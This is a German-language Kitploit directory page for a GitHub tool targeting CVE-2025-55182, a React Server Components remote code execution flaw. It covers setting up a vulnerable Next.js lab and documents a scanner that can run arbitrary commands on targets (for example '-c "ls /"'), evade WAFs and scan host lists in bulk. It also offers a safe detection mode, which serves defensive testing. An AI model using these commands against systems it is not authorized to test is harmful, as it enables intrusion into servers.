Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182 — CVE-2025-55182 (React Server Components Deserialisierungs-Schwachstelle für Remote-Codeausführung) | Kitploit
Tools/GitHubGitHub/xiaolvchen/cve-2025-55182
SchwachstellenscannerPayload-GenerierungExploitationWebanwendungs-ExploitationWAF-UmgehungPenetrationstests
GitHubxiaolvchen/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 (React Server Components Deserialisierungs-Schwachstelle für Remote-Codeausführung)

Repository anzeigen
1vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Betroffene Versionen

KomponenteEmpfohlene Version für ReproduktionAnfällige Versionsbereiche
Node.js>= 20.9.020.9.0 (LTS) und höher
Next.js15.0.015.x, 16.x (App Router)
React Core19.0.0 oder 19.2.019.0.0 bis 19.2.0
RSC-Bundlerreact-server-dom-webpack19.0.0 bis 19.2.0

Build und Start

  1. Niedrige Version zwangsweise installieren

    root@kitploit:~
    cd cve-2025-55182-target
    npm install --force
    
  2. Abhängigkeitsversionen prüfen

    root@kitploit:~
    npm list react next
    # Ausgabe sollte [email protected] und [email protected] anzeigen
    

    Solange die Top-Level-Abhängigkeitsliste [email protected] und [email protected] anzeigt, ist die Umgebung erfolgreich im anfälligen Zustand fixiert. Warn- und Fehlercodes können hier ignoriert werden.

  3. Build:

    root@kitploit:~
    npm run build
    
  4. Start:

    root@kitploit:~
    npm start
    

    Der Server lauscht auf http://localhost:3000. Die Umgebung ist eingerichtet und die Schwachstellenvalidierung kann beginnen.

Beispiele

  • Schwachstellenerkennung/-scan:

    root@kitploit:~
    cd React2shell
    python3 scanner.py -u http://127.0.0.1:3000/
    
  • RCE:

    root@kitploit:~
    python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"
    

poc

Referenz

react2shell-scanner

react2shell-scanner

Ein Befehlszeilentool zur Erkennung der React Server Components (RSC)-Schwachstellen CVE-2025-55182 und CVE-2025-66478 in Next.js-Anwendungen.

Technische Details zur Schwachstelle und zur Erkennungsmethode finden Sie in unserem Blogartikel: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478

Funktionsweise

Standardmäßig sendet der Scanner eine speziell gestaltete Multipart-POST-Anfrage mit einem RCE-Validierungspayload zur Ausführung einer deterministischen mathematischen Operation (41*271 = 11111). Anfällige Hosts geben das Berechnungsergebnis im Antwortheader X-Action-Redirect als /login?a=11111 zurück.

Der Scanner testet zunächst den Root-Pfad. Wenn der Root-Pfad nicht anfällig ist, folgt er gleichartigen Weiterleitungen (z. B. von / zu /en/) und testet das Ziel der Weiterleitung. Cross-Origin-Weiterleitungen werden nicht verfolgt.

Sicherer Erkennungsmodus

Mit dem Flag --safe-check wird ein sicherer Erkennungsmodus aktiviert, der auf Nebenkanalsignale (wie den Statuscode 500 und bestimmte Fehlerzusammenfassungen) setzt, ohne Code auf dem Ziel auszuführen. Verwenden Sie diesen Modus, wenn RCE nicht ausgeführt werden soll.

WAF-Bypass

Mit dem Flag --waf-bypass werden Rauschdaten am Anfang des Multipart-Anfragetexts hinzugefügt. Dies hilft, WAF-Erkennungen zu umgehen, die nur den vorderen Teil des Anfragetexts analysieren. Die Standardgröße beträgt 128 KB und kann über --waf-bypass-size konfiguriert werden. Bei aktiviertem WAF-Bypass wird das Timeout automatisch auf 20 Sekunden erhöht (sofern nicht explizit gesetzt).

Windows-Modus

Mit dem Flag --windows wird der Payload von Unix-Shell (echo $((41*271))) auf PowerShell (powershell -c "41*271") umgestellt, geeignet für Ziele, die unter Windows laufen.

Umgebungsanforderungen

  • Python 3.9+
  • requests
  • tqdm

Installation

root@kitploit:~
pip install -r requirements.txt

Verwendung

Einzelnen Host scannen:

root@kitploit:~
python3 scanner.py -u https://example.com

Hostliste scannen:

root@kitploit:~
python3 scanner.py -l hosts.txt

Mit Multithreading scannen und Ergebnisse speichern:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

Mit benutzerdefinierten Headern scannen:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Mit sicherem Nebenkanal-Check scannen:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check

Windows-Ziele scannen:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

Mit WAF-Bypass scannen:

root@kitploit:~
python3 scanner.py -u https://example.com --waf-bypass

RCE-Befehl ausführen:

root@kitploit:~
python3 scanner.py -u https://example.com -c "ls /"

Optionen

root@kitploit:~
-u, --url         Einzelne URL, die geprüft werden soll
-c, --cmd         Auszuführender Befehl
-l, --list        Datei mit Hosts (einer pro Zeile)
-t, --threads     Anzahl gleichzeitiger Threads (Standard: 10)
--timeout         Anfrage-Timeout in Sekunden (Standard: 10)
-o, --output      Ausgabedatei zum Speichern der Ergebnisse (JSON-Format)
--all-results     Alle Ergebnisse speichern, nicht nur anfällige Hosts
-k, --insecure    SSL-Zertifikatsprüfung deaktivieren
-H, --header      Benutzerdefinierte Anfrage-Header (mehrfach verwendbar)
-v, --verbose     Details der Antworten anfälliger Hosts anzeigen
-q, --quiet       Nur anfällige Hosts ausgeben
--no-color        Farbige Ausgabe deaktivieren
--safe-check      Sicheren Nebenkanal-Check anstelle von RCE-PoC verwenden
--windows         Windows-PowerShell-Payload statt Unix-Shell verwenden
--waf-bypass      Rauschdaten hinzufügen, um WAF-Inhaltsprüfung zu umgehen
--waf-bypass-size Größe der Rauschdaten (KB, Standard: 128)

Danksagungen

Der RCE-PoC wurde ursprünglich von @maple3142 öffentlich offengelegt – wir sind sehr dankbar für ihren Beitrag zur Veröffentlichung eines nutzbaren PoCs.

Dieses Tool wurde ursprünglich für die sichere Erkennung dieser RCE entwickelt. Diese Funktion ist weiterhin über den --safe-check-Modus verfügbar.

  • Assetnote-Sicherheitsforschungsteam - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobshäuser, Shubham Shah
  • xEHLE_ - Reflexion der RCE-Ausgabe im Antwortheader
  • Nagli

Ausgabe

Die Ergebnisse werden im Terminal ausgegeben. Bei Verwendung von -o werden anfällige Hosts in einer JSON-Datei gespeichert, einschließlich vollständiger HTTP-Anfrage und -Antwort zur Überprüfung.

Tool herunterladen